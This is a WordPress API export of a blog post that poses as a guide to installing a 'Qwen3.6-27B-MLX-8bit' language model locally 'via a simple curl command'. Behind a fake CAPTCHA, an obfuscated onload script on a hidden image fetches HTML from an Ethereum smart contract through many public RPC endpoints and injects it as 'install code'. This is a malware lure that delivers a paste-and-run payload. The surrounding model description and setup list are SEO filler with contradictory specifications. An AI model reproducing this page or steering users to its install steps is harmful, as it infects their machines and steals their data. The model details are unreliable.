m9l2XiJU8iLjlx1Pi7GXTTWMwgFriHNVAc7+P90mJSZiFdEnBiuDwf5PmtT0WNvX8i2kVZIb2avF8pB0na6LV3KN9JFZUhVBH2esAMfVAxAdK8QHr8crnducDmhVjGREnpeKEJBPgAvLZZw8YRpkYvANjl9y\/HpH+pm9BECzEK4bLAt6iAJsO3lAxsavGwnLhJP2MkboivdOh77CwF2iC3BBnlFxFxM3oe5vPVZDkn820923pP7TqChszcwPoFZkUViJ4+5J\/5DaZ32RUSm1mTEn1uWLG4sNvZBzeems4H4YlCVm0dz76rpeK4QFO227EcjPUep+FRy1RZEHus+0T7neHOwVhCwSuk3jXqLEvgFF5Crh1acd16AtntRKKJWwhRoe5FHMDWVNgOPTePsPUo8OpswcyO5JYmYSdYAolaouUOUFDoyTlQz6VzDXiR6TxAd+PYP26rxSCkCx4jK3MOqJJhFqLP2Hbzlu89WEnQgB3rO\/01OU8FoyCqAgTn8SnGBsv1h9UOrYo6jj06bO11dPPLjgd7fmC2SAJ75PH+5B69kkbef2\/0yu6+wYm2OOClTsSOJzjrKxoaLnyZGRhgvPtMKhExITCg18U9oqxiL3dOFSCCRZeLEwdRwQdFRbQuBge4kH+2uM2JBCK\/XxnuHuy2WCBLE7FFIP+oOnhBbcBpFbG13GSysg8cRfLNspEBd1wA5OeTTchGDFuZjfgUb0irDV1xshrtBjS0PEIX8W+Llp6U4Hi\/0fpkFK1D2P5xjWZRv4Ev3ZrXKkSKuRnblrO2BZYIwh0S4ULiv\/Csd+nvt4FM+jEs0F1tYFVjK1wErIKxCsK2fhuazl3\/tD\/NRF4Fi5Do3tq4Gqy2JxFZNhRgAFVGIzSeTqbiwFdMRrrVhq5bOaWfBG\/+p0oKK1I6b94JSkkpEWD92aMP4saphpY6hY57uFyfuCee\/ytIt0oW\/8bMuWAUrwLQI+EfSrlJYuYppwJ5I5Cf0HmSxsQHguzXVIibtp6MBVcBiBK2rqyFZvUQ4B0SmQDqKEnWtyiFUl4urf\/96tMoTj\/u+lLyRpi3SgjqZlYtvlM+EBy4eU2HbsJ4yz38lWsOmZjbgkaiD6zp6voIuO1CXM6jMvExkZGJgTO0chIiX4Lo3pCN3IwSn8aDno2nV4sKXSsFkoyHqEK01q2Og02cnmdn+iWIdZJvsgFxSOoqhOy4nqXwfpPcAZZgWm8yU3Lns9yB04oroixuWY8kLNVyk\/G4ovYA+Ao\/JIWwv+4dPHvPMsXj01OhEfB\/ekGzHZ8QjTJjzMgnk3+DQgHC2ZZOA8BPeFK1GCxgnPtX5QscixiIHSrGdhCXwtqgsYtDBmPJZTlDDJWwgC7jp3KY0CQOjtrqVeRDL3ZpxKCoZhYXZH2yVXLWOzuh78VLXRAYmftRQbPVZjFkt1iMNOqhMrxhhoQeYTs8E\/0SzRgGLcI2kf06\/e2OVVVmHqDafDwCW0SeQcLqgQSaqamJI9NgJgW42WGqvA983ZPmauq7149jgxlRphCJCWVM3eMaCBrXzkUxTqa9uRv+ZME\/sHEFzMBrkynoGLkKN29XdSjLO\/J2gm95\/ZbZAc\/hHA+w0w1KeDd8VVFi5VBHTZEZOTjWKzpJtlyl93W\/wfx1IcyQClGwu7CiHUbQqWWDbueI0tUr047Wcl+QlUaDP6ZleXV3YNrI3yEBkEgOwixL2Yrc6NsQjuWOXQCyC2z\/fWFmymWdBNfClz8Axy\/a\/axEVjcCAm8HRT3e1qnYnOhPOB44JDQU9W3FGugJehBAPoPh+B+m2dUi7qLzEWI0SEegfqPuRZuyjj8ZgJexRmH\/xo+kXYJNQ+btH\/10Hg4oC\/1illLOBIcw+9R5rsnl+lms1T\/TMwX8a3FApPbpyCNW\/CSSIDBpXmf62h67p6BmIhkDIn78Amv+icDEXnGTiVODOLrT3b5UeAfiYLyQJcYAR1vB1BZEspfNM2VHX7HcZ0WRhoY538eVAmVaBktDHnVp4cS6JnnJBbOpdht090xQJMRBAfmW6fvtR4HVag5jb8G+vHCJ3I5x0TQ+le0A+UlMSIdIDBcNUU\/zWwnmK7yTkzOeQrItTcdcq7PB8JIsgATFKsAgDMwj1ZwQ0AqbGgxerHWO2+q0zRnA72gW+7CgDSWb2qHE0ARaxlxdI45U8iLcDOKR8GwVLetHiBfglBqXs89SWEwzRQ+iUjHw2ENmlNw\/T0WcboOwFYu\/H\/mLqaWPVZJ+ZHYeym8GNq9Om3tz\/+F+fEFVnW64jrw56FH3qfJ0UpfzcnHDtRd465Zg53Zo6D9Rzio5jQTwjnguwAiBfl2mwRA1s6EeLu9LJUgqFlKZsiRAtg+cJ4NKzUdhk6y5ppPQjBJ8Gq+iF\/Lm+tUvkj73J+iBwUNNnjEiwCz4uNP8vt3TbmLKR\/cxc0qqxZb0YjZg8EzHP79j8Pz+oXe92okTAvp4PqQCT0xN124\/gDeDz\/MtPdz+McHOW5IBIiFP2bl1ntyu1DB+8kEd+kd2kAmO0pgsV78wlfMiTK71XTDmA4rom5zCDsv\/HYfFFKnnuqrctbdsu5PrzIjrR1Ru4k1FYYRVYDiXh1SSVZVfyW6HKtF4iYPk45jBumwbWW7q5QQpZGr3GM3IjZKPOZUXboz2xkh8z\/Xd4wWdccbx+qQS0MYd5nikbePLOBoCgacZeufyjklRQ6oxYwfhgYYN\/59qSLSRi1\/35lF7Ej33tOdDAYRr278k4aj01ji+evimxnxl8\/nUDgXq+8jHVYfnVkLk11L4k6ucWzu5kPV8Vkni92ImjCN0QC2ej+Ktl6eCDMKvNDXLlJMbExT4SOYQKeB3RfTTz\/QaqK8PfnbOybVxb8V6Feh5MTt5BUM9iepdm9k1st4ZiJDfmhMb\/Ah65c\/9RGI3Lo47Bb52zQ7QODcozpYeuZzG8IhOO+HfGsRXASijygf2yROCyKqGKcO51CEfiU04smgFtdf9T9cZiMiKYZ+4DDSnwgbQpaX43+AMhejNu8qG5JWoSaQVLuKdqCMP7\/EJ72YP5GuZgGoFxBgH1qtwgp\/OKbNjhTrfx4A6Y9vyV2L3\/zEpn06WO3uEDrg\/3XIw0ZKLDo5mNQL94PlYGivo5Qp8bnEH1ze7JbEPFL2R8aOr4PovcVq6yBwYHxvCpQ+HaKOd14MDBeN\/MZd63q2Gj6Z1OZe2S3TdrKq5mrijl17EQ3PPWUKX0ZS5UQMgT7C3GSgMUSqCe7ot753Ly2A4NwhhWuijD2KQ3TGpffC15HzP6qcWUuUrch9o6KrUa1OxqN8pQgoQLv0xkkkqFlLmqqVSjaiv4A1o1PwoXCWLAGaW1hXHFo7CGiSwOtfEzLSpy9B183aH83Ysv0VummI4r\/HLHv1eONiZlZ8g+1qNM3GJLwn5u9OJDWut5GgYDXpZU9z2d3IAN9aTXC3pu4R6MyX8Oa7DmR5T\/xdF65jwOHkjqOo4SVneYVb6sYvX4BNxKKACeGWnV3DAVKUR72Ow5vixImhFCJaBjKSpdRgdZqNHbR\/t2foN96rOmpm\/XPQGLIZzogNnIGKGaHGj9OXGBUJ2b7NERiCAPM9ADlTvBlC0rjJCXro+2TJuV8Qf\/Dt0nKqPHuXSKQQjgYjkB8cK4uEMmF90kEIsXrW5GPafNlZTJ5A5G0OCJZ9Gstqow8grFBiTwBvxQ1pnAbQM2M+Q2QS62u2XOQAAADapMayPf8\/IguwGKc1hFX6WIJgrXCg\/SrnKHY\/r3P948uZw\/4oqxqMb4rr77ZQ+xLagoN6vs8qmT27P9BO6K\/oUcv2utVBeWjGoVJ2i0KSO9GyM21fqG7rTaQDT3ddEWAWOryhuO8XRA91zRTxxYgxG+9e4JBDm9\/fjzN5r7U20Yg0uTV7hfWfGMX2X+QdeZrMioHjGtjcl3ZKWDzqMk7TRJDHpIOPwAgD7J1VSJJYBR6IwtfKDDWSnd6cVg2X0LRr\/Q9H\/1mmCQBJKWEm7kAY6g2IIsyazhBEBMcE5vHKO0K84+Ee6vxQ23FasvW82DGZ06VXw3dZqx9ZJFJIYYL6NgyATL6inLmjs4xMSAaIDkt6uzOTEcpVnpos+3Q2jCr2tjMYviGgKjIA4JNjpq5E+YP9bavhPcx7cOAZLUT4lbKjplUX0jo33A7Lc5ncwOr5xh7cyfzLEkVw3VcNwN5ZlFVcZXM8QCQscXaRXXwOBSIqeJHJ2ayvo9lHeggLc2H2aoL\/bwT4KvMcTVVbyCzeGs9ooqxq5g5+r3CPfPobJIHqD3P3M8sMYMHanWDr6EcBImSUt19cIh2ugczO+3P4CB1PYGRbNMF2hJ1mLaLftttcRgcP26\/yYjc8lInYEL2nEFRpB9O3OID0xBQ90XQKKDRJ5k6DeCek7ZiejgOE08uRVoYMbReX0JqYHPtdBuz7WyO2FVpzlJcd\/LDoUAqVwNcLem7msTmjXLlgbVZ3PKmvp2+HrUvFbG5PcawhtuQYU5f7vPOOMzoXM6P8jKfx00Dzw9VRo5hytsTlsEsuf2zJNmuUGr46alGNRSMduAFGTKELXEfiLR8mEz3ir6C0VKAoIovLNS6NpYApLu\/z5TboUAAAAABHAXSJMCuvEt9oC+LZZr93zs0FBGO3Zp0gDeRWx8bwOR9XYSUwHAYgzFdv2WYNDfQsNLkPHQS\/wZTF6nZyhl9hW0\/uBHsEP+pnl+ase9wmAtPAqYTmdJWi15VOv6jtYpY2AAfKY47SnBzIKOguVEwKdeZsicP8wmshD7juhEXNwjtEKETxba+rFYANSJGr6QPwLQ3tMfnfcJUzlozbQ9qii1T5GZR4DfxkLj4yUnWI2jKsEped1D0bmAqg5xjPHkrbVqHtBmFuAuAbwdOHzP58Ra34NOKhh1oCad75VWn6BTHq1DFrFu2aEtUh8M+wGbmySXGZOcO6UEFoxt6KpJB45GzgC8QHP+0eMf7hCoFEfSmC1ESYPtQIVzp+pD6lhuRdFVyxzQljqYihwcgJrK6pd104yxZYUuYARmJ\/txA42jvP1SMDmamHQPEo0WZ3D1lg3UcW4jAWa4IX2dOKrAbHXOrjuUX6SqToWnzg0g7nc63AlAlx0NvX+BGJmQB2ZkrQYuTz\/OFoHvw88v\/qFc1\/2HrvoFB3Wz8xdOR0fxw31Qk7xKknhuFG8CzAl+9mBVpNRaQhehB9jaDr4l2AE8evDqrQF7AACMJiYxHkIB0W0elXEMcdaQ\/Htb\/U3WQauockvr6aWY5kGJ\/a+CyYblj8UoYtUEpUyu9KQh+nfx7Sord4dNgmfm+VZh3c2u2y6OtvQCPFvcq16mtJOjdL9BZiW7TFaGp+5NfkHMOWh95HUKWTZrgkW6o3lo\/C9lpbp5Lk\/1aQbY+hNZiAA4guCMrAVoe6gCSBLSP\/vqTZV5c6C5A4as\/44Tu219uJkKtY1fkfYzgMuL5bD7KBoeGJ0rikTaattKA7expzbzLLk0Kp7jF+YY6Ri9FBJ9e2AypprIal2Z+DOA6ozOizdwOcFx9ETj4fI\/J1K+3PJ0GOP9nHxDbpdI4u4u8cC4QcyOBlKnK2yJD8v8\/BdJE3Bywwb4p4wTFQ9b0U\/PJQn0Ddj7mgzkP2hWAAAAO7vbhON1XO8qmJgVtG855QkqzttgTySKLkzf5FZ7i+xHxAtIF8U6geSzExhx6oQcLMWZDyA78\/td\/4Gckzm6xR\/Gavp4rQ4jLuzFqGWEVAAuSX++OiMqiZb4Crk2bssuRXF3e0vYcilPDqmCrOxMLmRfEndwVBbI2TDJpI11HCnp1diywwdVAmf+wGd2tRP2ULk5OCClnQRb7MnfIFoyw7wmzTRmynnzSep5iibO3m9\/CdnLMltgfqBT358kN+n90hgsso8BAJnnbNgSQ0iYB8oUipYYzZFCL+wQprjwtwvob\/I+mk7eJqoA4q3PK248EfcLa1OA5M6m6p26iPExsOJEtFV6r+2\/iEUecIzgEfEGXNOOfkUSUh+ay8X4cIoX8VvaUjgnR1uTkhXNkljbthX\/QB1IlA2K01MpytCYAJFVIwsHj3YCeanVyZPgcB+4Q9BwRxh5\/jTBLhnHLliTjJ3KIh5420cd6jG727lH7HEgVYjxrKJbxaeeIrzJ7yCwMI6MpdE75+q9MKJygI5dy+lvKPeNXGupQKbGMAt+KQCVJyboT5Ne3YtRMILpkHNeUX1Op9m\/KGWBNZNq2Q6UyvTWPt4ukes6nI6s8C2jUnWujmf4ivuSlaNp1Q75oelLYczrC\/kP+I3475gKSze\/mZV8EW5m6UzgQB8dXsYV7a3WIZiN1ou4I7yM2BUyRQkiGPFF8Rofg0GdUAAAGdYqD\/naZ06k8zSiAAIQtgPWCsdkYGaVs9tloz1DxD7xlHsW7xJWR73THHh+j0gebynFbQYJZRLcIT9x+o3gvVXT6F9NAyRXOAAC8Ff4+EUCasoSx9mJTD6DpGAiE96+2rUvI\/JcE2VhnAfn0iUqBgYFM9+pP\/lfD60wcpOuCXhpFu5eQp+MONKK9gp3CItVRc1\/h0mLiOndkkIXMQHt0ltFTBxkBePfT7bCcM8tzupiGJzz+BZX8uQxV+yV9UO8K1LFrQQgsNq7Pg3mppVcHzu8vmqlxxdLd+BmcNpN6YEhK+drvf2yaJDU+UZ4877puT2OawSsSjK5a4Q1XrD2QJlP975gevTZfdbjd5NiV+Oqjt8IMTH8XbywMqRA9pH1o+TE+5d9ZNaOCik0rwN9ePEIedIWtGReDgk1Gj4uyOI8yLo0d2WM8EF2kfK9\/XRQSlG2f5+E3y0+hfNnoZwLvjhUrlYswtY\/+c7pkGvn2sDZnLoeknY8yEfkPK8C1N7TAgWDCDRDL\/DwKPFK5ycThtnfLV0cRl8blT2t2e2rdu6B2ho5sMKwtFXnvpsjpag2vzby\/qEZ\/HCc0kJaTZyjj7vAucVGhW\/cjt0QH+BXR5sJ4D6m6I\/K\/cPRScaB6Xra+klEmCfRG8nOsbxWudbCrzHyNAvRVN18kF+9pwNsM4SluZSWXArduedCd0eEWa\/NOquQMZhixHf4MJYJ+c1Q\/8z0YMczmLQSyF4CvXz0Ggpov53M9ajcpOFG2JsKtfh3k4DF7QqXyuufYtsLsaRuy2oeXlKz8No8burLw3HVOtn39qZxQGlz2i7m8iD6LtlKl7mmseYLk35YS5WP5w5wTbj5M11evOehIeNV+Cn\/5cAPmB0oh+fUXHpAACL0gEdWM057Bq2oJp4NY8\/y\/+snyCI5EOt0YaM4NMiZonW0YB\/Bh0GP1r5J+8xhv9BymT2ce7bttLpJ\/xmQKLOHAoW7vcZGpAm\/uomjSlqLaCpruNIMID4ked40U8foHWfMfeJPZHqH\/RqgaTMsNeiKl5LuvZx\/ZUoDYaVijCMscE886hl8Ops4TBXDkHuJ5msNk4nLH37QqP+3LUTmpPnOvA2Q4inT0yO8kMffot9VTSn2XwGExiuRwQ\/5sa1+0hpiNhcuFKHruA4OsSs1YNGGJJOQ99QT58\/9H+t7Db3QRJGtBf4HWMbI2ip\/m8nNbaS6q61qXbqV9i0qPlqjyps6jdSi1ZeDoU4K7cVnNmq0tMX4O6RaD8eCM1f36LcHMMbQA11Dkhd0bgwf\/PDiEnuCfOVeWO7JoM7AdujIU\/FsSbOWc6l4qJxY8Q4+g69MN2BSMfAz4Jx+Eg3wbKUTmjsoZEnt3v8TiqaJXHFgvcUusUSoX7vbt09pE36QjrnmBqk\/cT2V0TToHFWeuMsuX+vO5GC4AOPsFMYAqo4KHZL7a7d0KcnY+towuRPlash2245wKTcRRX6jYCmU5U\/zJsE77EnxkJEXSZHFp0bwHwxGlwxsznvfXrJKF\/ybgXZyX0uPeNBEsh2usmdh2Mqp9b6aZqDdS+u3cIfoFW8Q0WAbzlx8EWTPGPkSfgH5NLRSPwJ1cehhKlBYut+Lbghj+8jj8bRWU5VeX8gZCDk7gOs4EJ\/0Xcy7LN1Fjk2wTv6mpflQWCAGba2BaBLApBApTg4QqYVhm7f1yzk7nGKwGlINQOuVgaXWusSrR12N7YsB7Or1M3DbLL3upX7NPnRVSXGvKOyfpTUB0UtBMmLuK0l1Put3nj\/K4vmwQdlWswx+Q2ST+DAJeNq04hGSiawGRxbCFvjK3iUaKAovvujJL65qLhIFOkCVHrU4onQWJy0jHO3wdYBAio5FWQBKt9J8KQc7Xqn1frSMQ735+117yHGQ6lPNHZOgjOkwY12bt2ZihTLL4k2hI9JtDcH7lQjUEiOt64GIxXqfo9e1rwnqfuvkOa1w8oYAuqUiaeNh60SGFlgTOgWED5MKfhizp5x\/GfQBTxfcTy1JrcDRilXd5LmGRiBoGgTIo88eH5+A31\/em+S3F3us3YXgEeBXHcB0FXOWOY9phAOzYcrA7GQXY2y9gbClTuA5hbkv0iozzWevtG7eLdXRWuHEZqttueE5\/bf\/LZqqUOBG7g89kbtJwlfjUiSZjyfW4YyjVN\/ATBR2AiJPIllITucyGkDw1GqWJs\/V5MSy+EouDUwREvfjeqqTN4sf\/I64lPex+AWHVo4Fr11hofRtzkheTjTmLgZLq5LCE65Hfx1mOreiwu6jJYsvyZg7AiMI1upUnESTXMlVTUV2kA8NLWlkjypKYpiMqmYWfYL25DTpmMMUtBsba2k9h1JBVlzt+YsdHjesZ2xp33qoVKyYEoGqni40DchrFj4OVownAScx+3lJGxcbxQ7kQGZmFNGWZBK0PaiOl8z71tkAOHfY5U\/Uf1o1YcdhI5KYnfV0E1x0s6VF\/mvr8RmMGxq1p4HJNk+qst7gGhQsyDOBG2KkyZ0ygIiMy0UQRyOK1Og+gQIRm2wHknmcsvCb3Tq7+SYU+TYXsyLIRZugAfNYRgP7QyIBnV69KiNjQH21MijQre0293t2V2ll91lqTBtapWqVNFBukAlg59zS4pd3ZJoSDvk8rFKezSYZ+s6p3nSKhn5gc4n1KhXNKi1iU97Q2Ju3FWhFzxlfxPjduq\/wwkqshdEFI3NdDPXeAp4RTFMqI11ri7\/7liJKjKwx\/qFgBVmLMaHU3Ikgy1EvYmAaDm+yzLfIiUJbcydH3o4k6NWMx+jBntaqL9MxUbBbNqkKdjMse3TmNfbGIzfHXu2hj8aLhz2d9aaG\/JUm4MLcrnGjTv11Q3MtldrnGujbr8KUfFeclFPoACLWGNrHhfWlKGqVMfe8fmC7kJzqTqjVBz1c9VFILIRHODAxw72PFtTwqUpBITGXD9zchRwFlyZa8BWbc79vivTgOqPxwJdSEtwXwbMSnSjko158B7P5HAA3YfjGcJufanWI83XzJqPcLnnJ\/8uQPVilU9dBwqGpwC8CCE1Rz4e8GHm7e\/gVH2IlR7HoQQq4P7ZTq2cFcpSppYtabZT7m4260DU9Eqn9vGKXWymcMwH+UTAiFVEOuDeNFaIBB1jajlXvyTrByKGR\/K7KPJP9emHYEjDTAeERDhmpcwsf230+vZBoD30NOnCgcEIEL58JeeiCUhJXEBq3AA3MmAfIAvAyzNUqaeVtIer4G61bswNk77mPBPFipYqoMOFEnSh7cIADjbEqEKr9qvpgB7oq\/9sPWRgkgpxoaxXQSdHMvZVVwpTu\/01UR0AA=\" alt=\"Qwen3.6-27B-MLX-8bit Offline on PC with Native FP4\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Deploying this model locally is <i>quickest<\/i> when done via a simple <b>curl command<\/b>.<\/p>\n<p>Follow the <i>step-by-step<\/i> <b>instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The client handles the setup, pulling gigabytes of data automatically.<\/i><\/p>\n<p> <\/p>\n<p>The deployment tool scans your environment and <b>chooses the ideal parameters<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#333333;font-family:'Verdana';\">\ud83d\udcc4 Hash Value: <code>bd5bcd9f14825dfda24212a01248f505<\/code> | \ud83d\udcc6 Update: 2026-06-28<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'570922a3_with_native');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-27B-MLX-8bit<\/b> model delivers strong performance for a wide range of natural language tasks. Built with <b>27B parameters<\/b> and optimized for <i>8-bit quantization<\/i>, it balances accuracy and memory footprint. Its integration with the <b>MLX<\/b> framework enables <i>fast inference<\/i> on modern hardware, reducing latency for real\u2011time applications. The model supports a context window of up to 8K tokens, making it suitable for long\u2011form generation and complex reasoning. Overall, it provides a cost\u2011effective solution for developers seeking high\u2011quality language understanding without the need for full\u2011precision weights.    <\/p>\n<table>\n<tr>\n<th>Parameter Count<\/th>\n<td>27B<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>8-bit<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<th>Framework<\/th>\n<td>MLX<\/td>\n<\/tr>\n<tr>\n<th>Release Type<\/th>\n<td>Open-source<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Setup utility enabling modern multi-head attention acceleration keys for host machines hardware rigs<\/li>\n<li>Install Qwen3.6-27B-MLX-8bit One-Click Setup<\/li>\n<li>Installer pre-configuring modern machine learning dependency matrices on local systems<\/li>\n<li>Full Deployment Qwen3.6-27B-MLX-8bit Using Pinokio Offline Setup FREE<\/li>\n<li>Installer deploying deep semantic index tools requiring zero external connections<\/li>\n<li>Qwen3.6-27B-MLX-8bit on Copilot+ PC with 1M Context Local Guide<\/li>\n<li>Setup tool executing multi-threaded Blake3 cryptographic hash verification for safety controls and checks<\/li>\n<li>Qwen3.6-27B-MLX-8bit No Admin Rights Dummy Proof Guide FREE<\/li>\n<li>Installer configuring local guardrail models for filtering bad responses<\/li>\n<li>Qwen3.6-27B-MLX-8bit on Your PC No-Internet Version For Beginners FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Deploying this model locally is quickest when done via a simple curl command. Follow the step-by-step instructions below. The client handles the setup, pulling gigabytes of data automatically. The deployment tool scans your environment and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[20],"tags":[],"_links":{"self":[{"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/posts\/4904"}],"collection":[{"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/comments?post=4904"}],"version-history":[{"count":1,"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/posts\/4904\/revisions"}],"predecessor-version":[{"id":4905,"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/posts\/4904\/revisions\/4905"}],"wp:attachment":[{"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/media?parent=4904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/categories?post=4904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/waves4change.com\/index.php\/wp-json\/wp\/v2\/tags?post=4904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}